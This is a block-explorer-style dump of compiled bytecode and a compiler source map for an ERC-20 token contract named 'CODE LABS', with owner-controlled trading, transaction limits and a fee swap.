6117bc573060009081526006602052604081208054839290611776908490611993565b909155505060405181815230906001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b6117c6818561197c565b979650505050505050565b600060208083528351808285015260005b818110156117fe578581018301518582016040015282016117e2565b81811115611810576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146109ad57600080fd5b6000806040838503121561184e57600080fd5b823561185981611826565b946020939093013593505050565b6000806040838503121561187a57600080fd5b823561188581611826565b91506020830135801515811461189a57600080fd5b809150509250929050565b6000806000606084860312156118ba57600080fd5b83356118c581611826565b925060208401356118d581611826565b929592945050506040919091013590565b6000602082840312156118f857600080fd5b813561072c81611826565b6000806040838503121561191657600080fd5b823561192181611826565b9150602083013561189a81611826565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008282101561198e5761198e611966565b500390565b600082198211156119a6576119a6611966565b500190565b60008160001904831182151516156119c5576119c5611966565b500290565b6000826119e757634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611a1457600080fd5b815161072c81611826565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a6f5784516001600160a01b031683529383019391830191600101611a4a565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215611aa557600080fd5b835192506020840151915060408401519050925092509256fea26469706673582212208c6d85363c9d707520b8e4ba9153aaf2982379bd7cbc29f6d42ebb569b6a666b64736f6c634300080a0033

Deployed Bytecode

0x6080604052600436106101bb5760003560e01c806354de7bee116100ec578063c31c9c071161008a578063dc9d75b011610064578063dc9d75b0146104e7578063dd62ed3e146104fd578063e9451f5f146102d1578063f2fde38b1461054357600080fd5b8063c31c9c0714610492578063c4ab12b5146104b2578063c9567bf9146104d257600080fd5b8063893d20e8116100c6578063893d20e8146104235780638da5cb5b1461042357806395d89b4114610441578063a9059cbb1461047257600080fd5b806354de7bee146102d157806370a08231146103d8578063715018a61461040e57600080fd5b80631f91af65116101595780632cd077b5116101335780632cd077b514610354578063313ce5671461037c5780633eaaf86b14610398578063452ed4f1146103b857600080fd5b80631f91af65146102e657806323b872dd146102fb578063278898621461031b57600080fd5b8063095ea7b311610195578063095ea7b3146102665780630faba5541461028657806318160ddd146102a85780631dc36945146102d157600080fd5b806303fd2a45146101c7578063064a59d0146101fa57806306fdde031461022b57600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b506101dd61dead81565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561020657600080fd5b5060115461021b90600160a01b900460ff1681565b60405190151581526020016101f1565b34801561023757600080fd5b50604080518082019091526009815268434f4445204c41425360b81b60208201525b6040516101f191906117d1565b34801561027257600080fd5b5061021b61028136600461183b565b610563565b34801561029257600080fd5b506102a66102a1366004611867565b610579565b005b3480156102b457600080fd5b506b033b2e3c9fd0803ce80000005b6040519081526020016101f1565b3480156102dd57600080fd5b506102c3600081565b3480156102f257600080fd5b506102a6610616565b34801561030757600080fd5b5061021b6103163660046118a5565b6106b9565b34801561032757600080fd5b5061021b6103363660046118e6565b6001600160a01b031660009081526003602052604090205460ff1690565b34801561036057600080fd5b50600a54600b54604080519283526020830191909152016101f1565b34801561038857600080fd5b50604051601281526020016101f1565b3480156103a457600080fd5b506102c36b033b2e3c9fd0803ce800000081565b3480156103c457600080fd5b506011546101dd906001600160a01b031681565b3480156103e457600080fd5b506102c36103f33660046118e6565b6001600160a01b031660009081526006602052604090205490565b34801561041a57600080fd5b506102a6610733565b34801561042f57600080fd5b506000546001600160a01b03166101dd565b34801561044d57600080fd5b50604080518082019091526008815267434f44454c41425360c01b6020820152610259565b34801561047e57600080fd5b5061021b61048d36600461183b565b610769565b34801561049e57600080fd5b506010546101dd906001600160a01b031681565b3480156104be57600080fd5b506102a66104cd3660046118e6565b610780565b3480156104de57600080fd5b506102a6610853565b3480156104f357600080fd5b506102c36103e881565b34801561050957600080fd5b506102c3610518366004611903565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561054f57600080fd5b506102a661055e3660046118e6565b610915565b60006105703384846109b0565b50600192915050565b6000546001600160a01b031633146105ac5760405162461bcd60e51b81526004016105a390611931565b60405180910390fd5b6001600160a01b0382166105eb5760405162461bcd60e51b815260206004820152600660248201526557686f6f707360d01b60448201526064016105a3565b6001600160a01b03919091166000908152600360205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146106405760405162461bcd60e51b81526004016105a390611931565b601154600160b01b900460ff161561068f5760405162461bcd60e51b8152602060048201526012602482015271105b1c9958591e481a5b9a5d185b1a5e995960721b60448201526064016105a3565b6b033b2e3c9fd0803ce8000000600a819055600b556011805460ff60b01b1916600160b01b179055565b6001600160a01b03831660009081526001602090815260408083203384529091528120546000191461071e576001600160a01b03841660009081526001602090815260408083203384529091528120805484929061071890849061197c565b90915550505b610729848484610a74565b90505b9392505050565b6000546001600160a01b0316331461075d5760405162461bcd60e51b81526004016105a390611931565b6107676000610f0a565b565b6000610776338484610a74565b5060019392505050565b6000546001600160a01b031633146107aa5760405162461bcd60e51b81526004016105a390611931565b6001600160a01b0381166107f75760405162461bcd60e51b81526020600482015260146024820152734672656464793a2041646472657373205a65726f60601b60448201526064016105a3565b600c8054610100600160a81b0319166101006001600160a01b038416908102919091179091556040519081527fb074145dac98cbf04c5e3a6d58501e8e3aa6eb107008ec598af2309ae5179dfe9060200160405180910390a150565b6000546001600160a01b0316331461087d5760405162461bcd60e51b81526004016105a390611931565b601154600160a01b900460ff16156108d75760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720616c726561647920656e61626c656400000000000000000060448201526064016105a3565b6011805460ff60a01b1916600160a01b1790556040517fa0ac5e19ca3a09af9a3a13c5c51f911c89eefd4b9eb548f4766b991b14ad686890600090a1565b6000546001600160a01b0316331461093f5760405162461bcd60e51b81526004016105a390611931565b6001600160a01b0381166109a45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105a3565b6109ad81610f0a565b50565b6001600160a01b0383166109fc5760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b60448201526064016105a3565b6001600160a01b038216610a485760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b60448201526064016105a3565b6001600160a01b0392831660009081526001602090815260408083209490951682529290925291902055565b600060016001600160a01b038416610ada5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105a3565b6001600160a01b038516610b3e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105a3565b60008311610ba05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105a3565b610baa8585610f5a565b15610d0b57601154600160a01b900460ff16610c015760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81a5cc81b9bdd08195b98589b195960521b60448201526064016105a3565b601154600160b01b900460ff16610d0b57600a54831115610c525760405162461bcd60e51b815260206004820152600b60248201526a6d6178547820697320322560a81b60448201526064016105a3565b6001600160a01b03841660009081526005602052604090205460ff16158015610c8457506001600160a01b0385163014155b8015610c9957506001600160a01b0384163014155b15610d0b57600b5483610cc1866001600160a01b031660009081526006602052604090205490565b610ccb9190611993565b1115610d0b5760405162461bcd60e51b815260206004820152600f60248201526e6d617857616c6c657420697320322560881b60448201526064016105a3565b6001600160a01b03851660009081526003602052604090205460ff1680610d4a57506001600160a01b03841660009081526003602052604090205460ff165b15610d6657610d5a85858561105e565b9050600191505061072c565b610d7085856110e8565b8015610d865750601154600160a81b900460ff16155b8015610d945750600c5460ff165b15610e2457306000908152600660205260409020546007548110610e22576000600d541180610dc557506000600e54115b15610df857610df86064600e54600d54610ddf9190611993565b610de990846119ab565b610df391906119ca565b611170565b600f5415610e2257610e226064600f5483610e1391906119ab565b610e1d91906119ca565b61139c565b505b6001600160a01b03851660009081526006602052604081208054859290610e4c90849061197c565b909155506000905081610e5f5783610e7d565b610e7d86610e6d8888611656565b610e7789896110e8565b87611705565b6001600160a01b038616600090815260066020526040812080549293508392909190610eaa908490611993565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ef691815260200190565b60405180910390a350600195945050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600080610f6f6000546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610f9e57506000546001600160a01b03848116911614155b8015610fb557506000546001600160a01b03163214155b8015610fcc57506000546001600160a01b03163314155b8015610ff157506001600160a01b03841660009081526004602052604090205460ff16155b801561101657506001600160a01b03831660009081526004602052604090205460ff16155b801561102d57506001600160a01b03831661dead14155b801561104157506001600160a01b03831615155b801561105657506001600160a01b0383163014155b949350505050565b6001600160a01b038381166000818152600660209081526040808320805487900390559386168083528483208054870190559351858152919392917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36000546001600160a01b038581169116146110de57436008555b5060009392505050565b6001600160a01b038116600090815260056020526040812054819060ff16801561112b57506001600160a01b03841660009081526005602052604090205460ff16155b9050801561072c576008546001600160a01b03808516600090815260026020908152604080832093891683529290522054611166919061197c565b6009559392505050565b6011805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111b8576111b86119ec565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611211573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112359190611a02565b81600181518110611248576112486119ec565b6001600160a01b039283166020918202929092018101919091523060009081526001825260408082206010549094168252929091522054600019146112b2573060009081526001602090815260408083206010546001600160a01b03168452909152902060001990555b60105460405163791ac94760e01b81526001600160a01b039091169063791ac947906112eb908590600090869030904290600401611a1f565b600060405180830381600087803b15801561130557600080fd5b505af1925050508015611316575060015b611320575061138c565b6000471561138957600c546040516101009091046001600160a01b0316906188b89047906000818181858888f193505050503d806000811461137e576040519150601f19603f3d011682016040523d82523d6000602084013e611383565b606091505b50909150505b50505b506011805460ff60a81b19169055565b6011805460ff60a81b1916600160a81b17905560006113bc6002836119ca565b905060006113ca828461197c565b60408051600280825260608201835292935047926000926020830190803683370190505090503081600081518110611404576114046119ec565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561145d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114819190611a02565b81600181518110611494576114946119ec565b6001600160a01b039283166020918202929092018101919091523060009081526001825260408082206010549094168252929091522054600019146114fe573060009081526001602090815260408083206010546001600160a01b03168452909152902060001990555b60105460405163791ac94760e01b81526001600160a01b039091169063791ac94790611537908790600090869030904290600401611a1f565b600060405180830381600087803b15801561155157600080fd5b505af1925050508015611562575060015b61156f575050505061138c565b600061157b834761197c565b60105460405163f305d71960e01b815230600482015260248101879052600060448201819052606482015261dead60848201524260a48201529192506001600160a01b03169063f305d71990839060c40160606040518083038185885af193505050508015611607575060408051601f3d908101601f1916820190925261160491810190611a90565b60015b61161557505050505061138c565b5050506040517fd9f20192eafa060dc85f5f8b3b0a5b9c106b02d5d1503335b857e50c2bb7003090600090a15050505050506011805460ff60a81b19169055565b6001600160a01b038116600090815260056020526040812054819060ff1615801561169957506001600160a01b03841660009081526005602052604090205460ff165b6001600160a01b0380861660009081526002602090815260408083209388168352929052205490915081156116fd5780156116d457806116d6565b435b6001600160a01b038087166000908152600260209081526040808320938916835292905220555b509392505050565b600080841561171657506000611728565b831561172457506000611728565b5060005b806117365782915050611056565b60006103e861174583866119ab565b61174f91906119ca565b905080156117bc573060009081526006602052604081208054839290611776908490611993565b909155505060405181815230906001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b6117c6818561197c565b979650505050505050565b600060208083528351808285015260005b818110156117fe578581018301518582016040015282016117e2565b81811115611810576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146109ad57600080fd5b6000806040838503121561184e57600080fd5b823561185981611826565b946020939093013593505050565b6000806040838503121561187a57600080fd5b823561188581611826565b91506020830135801515811461189a57600080fd5b809150509250929050565b6000806000606084860312156118ba57600080fd5b83356118c581611826565b925060208401356118d581611826565b929592945050506040919091013590565b6000602082840312156118f857600080fd5b813561072c81611826565b6000806040838503121561191657600080fd5b823561192181611826565b9150602083013561189a81611826565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008282101561198e5761198e611966565b500390565b600082198211156119a6576119a6611966565b500190565b60008160001904831182151516156119c5576119c5611966565b500290565b6000826119e757634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611a1457600080fd5b815161072c81611826565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a6f5784516001600160a01b031683529383019391830191600101611a4a565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215611aa557600080fd5b835192506020840151915060408401519050925092509256fea26469706673582212208c6d85363c9d707520b8e4ba9153aaf2982379bd7cbc29f6d42ebb569b6a666b64736f6c634300080a0033

Deployed Bytecode Sourcemap

5364:10472:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7478:73;;;;;;;;;;;;7509:42;7478:73;;;;;-1:-1:-1;;;;;178:32:1;;;160:51;;148:2;133:18;7478:73:0;;;;;;;;7586:36;;;;;;;;;;-1:-1:-1;7586:36:0;;;;-1:-1:-1;;;7586:36:0;;;;;;;;;387:14:1;;380:22;362:41;;350:2;335:18;7586:36:0;222:187:1;5761:80:0;;;;;;;;;;-1:-1:-1;5833:5:0;;;;;;;;;;;;-1:-1:-1;;;5833:5:0;;;;5761:80;;;;;;;:::i;8736:161::-;;;;;;;;;;-1:-1:-1;8736:161:0;;;;;:::i;:::-;;:::i;9605:166::-;;;;;;;;;;-1:-1:-1;9605:166:0;;;;;:::i;:::-;;:::i;:::-;;5417:125;;;;;;;;;;-1:-1:-1;6584:22:0;5417:125;;;2039:25:1;;;2027:2;2012:18;5417:125:0;1893:177:1;6673:34:0;;;;;;;;;;;;6706:1;6673:34;;15511:207;;;;;;;;;;;;;:::i;9174:306::-;;;;;;;;;;-1:-1:-1;9174:306:0;;;;;:::i;:::-;;:::i;9488:109::-;;;;;;;;;;-1:-1:-1;9488:109:0;;;;;:::i;:::-;-1:-1:-1;;;;;9574:15:0;9550:4;9574:15;;;:6;:15;;;;;;;;;9488:109;15726:107;;;;;;;;;;-1:-1:-1;15808:5:0;;15815:9;;15726:107;;;2962:25:1;;;3018:2;3003:18;;2996:34;;;;2935:18;15726:107:0;2788:248:1;5548:117:0;;;;;;;;;;-1:-1:-1;5548:117:0;;7469:2;3183:36:1;;3171:2;3156:18;5548:117:0;3041:184:1;6545:61:0;;;;;;;;;;;;6584:22;6545:61;;7558:21;;;;;;;;;;-1:-1:-1;7558:21:0;;;;-1:-1:-1;;;;;7558:21:0;;;6072:117;;;;;;;;;;-1:-1:-1;6072:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6165:16:0;6138:7;6165:16;;;:7;:16;;;;;;;6072:117;1399:94;;;;;;;;;;;;;:::i;5847:80::-;;;;;;;;;;-1:-1:-1;5899:7:0;1249:6;-1:-1:-1;;;;;1249:6:0;5847:80;;5671:84;;;;;;;;;;-1:-1:-1;5745:7:0;;;;;;;;;;;;-1:-1:-1;;;5745:7:0;;;;5671:84;;8563:165;;;;;;;;;;-1:-1:-1;8563:165:0;;;;;:::i;:::-;;:::i;7299:27::-;;;;;;;;;;-1:-1:-1;7299:27:0;;;;-1:-1:-1;;;;;7299:27:0;;;12337:212;;;;;;;;;;-1:-1:-1;12337:212:0;;;;;:::i;:::-;;:::i;15323:180::-;;;;;;;;;;;;;:::i;6802:47::-;;;;;;;;;;;;6844:5;6802:47;;5933:133;;;;;;;;;;-1:-1:-1;5933:133:0;;;;;:::i;:::-;-1:-1:-1;;;;;6035:19:0;;;6017:7;6035:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;5933:133;1501:192;;;;;;;;;;-1:-1:-1;1501:192:0;;;;;:::i;:::-;;:::i;8736:161::-;8813:4;8830:37;8839:10;8851:7;8860:6;8830:8;:37::i;:::-;-1:-1:-1;8885:4:0;8736:161;;;;:::o;9605:166::-;1222:7;1249:6;-1:-1:-1;;;;;1249:6:0;784:10;1311:23;1303:68;;;;-1:-1:-1;;;1303:68:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;9696:21:0;::::1;9688:39;;;::::0;-1:-1:-1;;;9688:39:0;;4411:2:1;9688:39:0::1;::::0;::::1;4393:21:1::0;4450:1;4430:18;;;4423:29;-1:-1:-1;;;4468:18:1;;;4461:36;4514:18;;9688:39:0::1;4209:329:1::0;9688:39:0::1;-1:-1:-1::0;;;;;9738:15:0;;;::::1;;::::0;;;:6:::1;:15;::::0;;;;:25;;-1:-1:-1;;9738:25:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9605:166::o;15511:207::-;1222:7;1249:6;-1:-1:-1;;;;;1249:6:0;784:10;1311:23;1303:68;;;;-1:-1:-1;;;1303:68:0;;;;;;;:::i;:::-;15572:16:::1;::::0;-1:-1:-1;;;15572:16:0;::::1;;;15571:17;15563:47;;;::::0;-1:-1:-1;;;15563:47:0;;4745:2:1;15563:47:0::1;::::0;::::1;4727:21:1::0;4784:2;4764:18;;;4757:30;-1:-1:-1;;;4803:18:1;;;4796:48;4861:18;;15563:47:0::1;4543:342:1::0;15563:47:0::1;6584:22;15621:5;:20:::0;;;15652:9:::1;:24:::0;15687:16:::1;:23:::0;;-1:-1:-1;;;;15687:23:0::1;-1:-1:-1::0;;;15687:23:0::1;::::0;;15511:207::o;9174:306::-;-1:-1:-1;;;;;9295:19:0;;9274:4;9295:19;;;:11;:19;;;;;;;;9315:10;9295:31;;;;;;;;-1:-1:-1;;9295:52:0;9291:126;;-1:-1:-1;;;;;9364:19:0;;;;;;:11;:19;;;;;;;;9384:10;9364:31;;;;;;;:41;;9399:6;;9364:19;:41;;9399:6;;9364:41;:::i;:::-;;;;-1:-1:-1;;9291:126:0;9436:36;9446:6;9454:9;9465:6;9436:9;:36::i;:::-;9429:43;;9174:306;;;;;;:::o;1399:94::-;1222:7;1249:6;-1:-1:-1;;;;;1249:6:0;784:10;1311:23;1303:68;;;;-1:-1:-1;;;1303:68:0;;;;;;;:::i;:::-;1464:21:::1;1482:1;1464:9;:21::i;:::-;1399:94::o:0;8563:165::-;8641:4;8658:40;8668:10;8680:9;8691:6;8658:9;:40::i;:::-;-1:-1:-1;8716:4:0;;8563:165;-1:-1:-1;;;8563:165:0:o;12337:212::-;1222:7;1249:6;-1:-1:-1;;;;;1249:6:0;784:10;1311:23;1303:68;;;;-1:-1:-1;;;1303:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12414:20:0;::::1;12406:52;;;::::0;-1:-1:-1;;;12406:52:0;;5354:2:1;12406:52:0::1;::::0;::::1;5336:21:1::0;5393:2;5373:18;;;5366:30;-1:-1:-1;;;5412:18:1;;;5405:50;5472:18;;12406:52:0::1;5152:344:1::0;12406:52:0::1;12469:16;:34:::0;;-1:-1:-1;;;;;;12469:34:0::1;;-1:-1:-1::0;;;;;12469:34:0;::::1;::::0;;::::1;::::0;;;::::1;::::0;;;12519:22:::1;::::0;160:51:1;;;12519:22:0::1;::::0;148:2:1;133:18;12519:22:0::1;;;;;;;12337:212:::0;:::o;15323:180::-;1222:7;1249:6;-1:-1:-1;;;;;1249:6:0;784:10;1311:23;1303:68;;;;-1:-1:-1;;;1303:68:0;;;;;;;:::i;:::-;15385:16:::1;::::0;-1:-1:-1;;;15385:16:0;::::1;;;15384:17;15376:53;;;::::0;-1:-1:-1;;;15376:53:0;;5703:2:1;15376:53:0::1;::::0;::::1;5685:21:1::0;5742:2;5722:18;;;5715:30;5781:25;5761:18;;;5754:53;5824:18;;15376:53:0::1;5501:347:1::0;15376:53:0::1;15440:16;:23:::0;;-1:-1:-1;;;;15440:23:0::1;-1:-1:-1::0;;;15440:23:0::1;::::0;;15479:16:::1;::::0;::::1;::::0;15440:23;;15479:16:::1;15323:180::o:0;1501:192::-;1222:7;1249:6;-1:-1:-1;;;;;1249:6:0;784:10;1311:23;1303:68;;;;-1:-1:-1;;;1303:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1590:22:0;::::1;1582:73;;;::::0;-1:-1:-1;;;1582:73:0;;6055:2:1;1582:73:0::1;::::0;::::1;6037:21:1::0;6094:2;6074:18;;;6067:30;6133:34;6113:18;;;6106:62;-1:-1:-1;;;6184:18:1;;;6177:36;6230:19;;1582:73:0::1;5853:402:1::0;1582:73:0::1;1666:19;1676:8;1666:9;:19::i;:::-;1501:192:::0;:::o;8905:261::-;-1:-1:-1;;;;;9000:20:0;;8992:52;;;;-1:-1:-1;;;8992:52:0;;6462:2:1;8992:52:0;;;6444:21:1;6501:2;6481:18;;;6474:30;-1:-1:-1;;;6520:18:1;;;6513:49;6579:18;;8992:52:0;6260:343:1;8992:52:0;-1:-1:-1;;;;;9063:21:0;;9055:53;;;;-1:-1:-1;;;9055:53:0;;6462:2:1;9055:53:0;;;6444:21:1;6501:2;6481:18;;;6474:30;-1:-1:-1;;;6520:18:1;;;6513:49;6579:18;;9055:53:0;6260:343:1;9055:53:0;-1:-1:-1;;;;;9121:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;:37;8905:261::o;10761:1568::-;10841:4;10873;-1:-1:-1;;;;;10896:16:0;;10888:64;;;;-1:-1:-1;;;10888:64:0;;6810:2:1;10888:64:0;;;6792:21:1;6849:2;6829:18;;;6822:30;6888:34;6868:18;;;6861:62;-1:-1:-1;;;6939:18:1;;;6932:33;6982:19;;10888:64:0;6608:399:1;10888:64:0;-1:-1:-1;;;;;10971:18:0;;10963:68;;;;-1:-1:-1;;;10963:68:0;;7214:2:1;10963:68:0;;;7196:21:1;7253:2;7233:18;;;7226:30;7292:34;7272:18;;;7265:62;-1:-1:-1;;;7343:18:1;;;7336:35;7388:19;;10963:68:0;7012:401:1;10963:68:0;11059:1;11050:6;:10;11042:64;;;;-1:-1:-1;;;11042:64:0;;7620:2:1;11042:64:0;;;7602:21:1;7659:2;7639:18;;;7632:30;7698:34;7678:18;;;7671:62;-1:-1:-1;;;7749:18:1;;;7742:39;7798:19;;11042:64:0;7418:405:1;11042:64:0;11123:25;11140:4;11145:2;11123:16;:25::i;:::-;11119:331;;;11173:16;;-1:-1:-1;;;11173:16:0;;;;11165:50;;;;-1:-1:-1;;;11165:50:0;;8030:2:1;11165:50:0;;;8012:21:1;8069:2;8049:18;;;8042:30;-1:-1:-1;;;8088:18:1;;;8081:52;8150:18;;11165:50:0;7828:346:1;11165:50:0;11234:16;;-1:-1:-1;;;11234:16:0;;;;11230:209;;11271:5;;11261:6;:15;;11253:38;;;;-1:-1:-1;;;11253:38:0;;8381:2:1;11253:38:0;;;8363:21:1;8420:2;8400:18;;;8393:30;-1:-1:-1;;;8439:18:1;;;8432:41;8490:18;;11253:38:0;8179:335:1;11253:38:0;-1:-1:-1;;;;;11310:12:0;;;;;;:8;:12;;;;;;;;11309:13;:38;;;;-1:-1:-1;;;;;;11326:21:0;;11342:4;11326:21;;11309:38;:61;;;;-1:-1:-1;;;;;;11351:19:0;;11365:4;11351:19;;11309:61;11306:132;;;11408:9;;11398:6;11382:13;11392:2;-1:-1:-1;;;;;6165:16:0;6138:7;6165:16;;;:7;:16;;;;;;;6072:117;11382:13;:22;;;;:::i;:::-;:35;;11374:62;;;;-1:-1:-1;;;11374:62:0;;8854:2:1;11374:62:0;;;8836:21:1;8893:2;8873:18;;;8866:30;-1:-1:-1;;;8912:18:1;;;8905:45;8967:18;;11374:62:0;8652:339:1;11374:62:0;-1:-1:-1;;;;;11466:12:0;;;;;;:6;:12;;;;;;;;;:26;;-1:-1:-1;;;;;;11482:10:0;;;;;;:6;:10;;;;;;;;11466:26;11462:126;;;11518:32;11533:4;11539:2;11543:6;11518:14;:32::i;:::-;11508:42;;11572:4;11565:11;;;;;11462:126;11603:22;11616:4;11622:2;11603:12;:22::i;:::-;:34;;;;-1:-1:-1;11631:6:0;;-1:-1:-1;;;11631:6:0;;;;11630:7;11603:34;:49;;;;-1:-1:-1;11641:11:0;;;;11603:49;11600:463;;;11718:4;11669:28;6165:16;;;:7;:16;;;;;;11766:13;;11742:37;;11739:313;;11820:1;11804:13;;:17;:39;;;;11842:1;11825:14;;:18;11804:39;11801:121;;;11845:77;11918:3;11899:14;;11883:13;;:30;;;;:::i;:::-;11859:55;;:20;:55;:::i;:::-;11858:63;;;;:::i;:::-;11845:12;:77::i;:::-;11944:19;;:23;11941:95;;11970:64;12030:3;12008:19;;11985:20;:42;;;;:::i;:::-;:48;;;;:::i;:::-;11970:14;:64::i;:::-;11654:409;11600:463;-1:-1:-1;;;;;12075:13:0;;;;;;:7;:13;;;;;:23;;12092:6;;12075:13;:23;;12092:6;;12075:23;:::i;:::-;;;;-1:-1:-1;12100:22:0;;-1:-1:-1;12126:7:0;12125:91;;12210:6;12125:91;;;12137:70;12147:4;12153:21;12165:4;12171:2;12153:11;:21::i;:::-;12176:22;12189:4;12195:2;12176:12;:22::i;:::-;12200:6;12137:9;:70::i;:::-;-1:-1:-1;;;;;12227:11:0;;;;;;:7;:11;;;;;:29;;12100:116;;-1:-1:-1;12100:116:0;;12227:11;;;:29;;12100:116;;12227:29;:::i;:::-;;;;;;;;12278:2;-1:-1:-1;;;;;12263:34:0;12272:4;-1:-1:-1;;;;;12263:34:0;;12282:14;12263:34;;;;2039:25:1;;2027:2;2012:18;;1893:177;12263:34:0;;;;;;;;-1:-1:-1;12317:4:0;;10761:1568;-1:-1:-1;;;;;10761:1568:0:o;1701:173::-;1757:16;1776:6;;-1:-1:-1;;;;;1793:17:0;;;-1:-1:-1;;;;;;1793:17:0;;;;;;1826:40;;1776:6;;;;;;;1826:40;;1757:16;1826:40;1746:128;1701:173;:::o;9779:447::-;9854:4;9871:14;9895:7;1222;1249:6;-1:-1:-1;;;;;1249:6:0;;1176:87;9895:7;-1:-1:-1;;;;;9888:14:0;:3;-1:-1:-1;;;;;9888:14:0;;;:45;;;;-1:-1:-1;1222:7:0;1249:6;-1:-1:-1;;;;;9919:14:0;;;1249:6;;9919:14;;9888:45;:69;;;;-1:-1:-1;1222:7:0;1249:6;-1:-1:-1;;;;;1249:6:0;9937:9;:20;;9888:69;:181;;;;-1:-1:-1;1222:7:0;1249:6;-1:-1:-1;;;;;1249:6:0;10048:10;:21;;9888:181;:216;;;;-1:-1:-1;;;;;;10087:17:0;;;;;;:12;:17;;;;;;;;10086:18;9888:216;:239;;;;-1:-1:-1;;;;;;10110:17:0;;;;;;:12;:17;;;;;;;;10109:18;9888:239;:254;;;;-1:-1:-1;;;;;;10131:11:0;;7509:42;10131:11;;9888:254;:275;;;;-1:-1:-1;;;;;;10146:17:0;;;;9888:275;:299;;;;-1:-1:-1;;;;;;10167:20:0;;10182:4;10167:20;;9888:299;9871:316;9779:447;-1:-1:-1;;;;9779:447:0:o;13080:312::-;-1:-1:-1;;;;;13205:13:0;;;13164:4;13205:13;;;:7;:13;;;;;;;;:23;;;;;;;13230:11;;;;;;;;;:21;;;;;;13271:26;;2039:25:1;;;13164:4:0;;13230:11;13205:13;13271:26;;2012:18:1;13271:26:0;;;;;;;1222:7;1249:6;-1:-1:-1;;;;;13322:15:0;;;1249:6;;13322:15;13319:42;;13349:12;13339:7;:22;13319:42;-1:-1:-1;13379:5:0;13080:312;;;;;:::o;10528:225::-;-1:-1:-1;;;;;10628:13:0;;10594:4;10628:13;;;:8;:13;;;;;;10594:4;;10628:13;;:31;;;;-1:-1:-1;;;;;;10646:13:0;;;;;;:8;:13;;;;;;;;10645:14;10628:31;10612:47;;10674:8;10670:49;;;10712:7;;-1:-1:-1;;;;;10694:10:0;;;;;;;:5;:10;;;;;;;;:15;;;;;;;;;;:25;;10712:7;10694:25;:::i;:::-;10685:6;:34;10737:8;10528:225;-1:-1:-1;;;10528:225:0:o;14526:788::-;7732:6;:13;;-1:-1:-1;;;;7732:13:0;-1:-1:-1;;;7732:13:0;;;14633:16:::1;::::0;;14647:1:::1;14633:16:::0;;;;;::::1;::::0;;-1:-1:-1;;14633:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;14633:16:0::1;14609:40;;14678:4;14660;14665:1;14660:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;14660:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;14704:10:::1;::::0;:17:::1;::::0;;-1:-1:-1;;;14704:17:0;;;;:10;;;::::1;::::0;:15:::1;::::0;:17:::1;::::0;;::::1;::::0;14660:7;;14704:17;;;;;:10;:17:::1;;;;;;;;;::::0;:::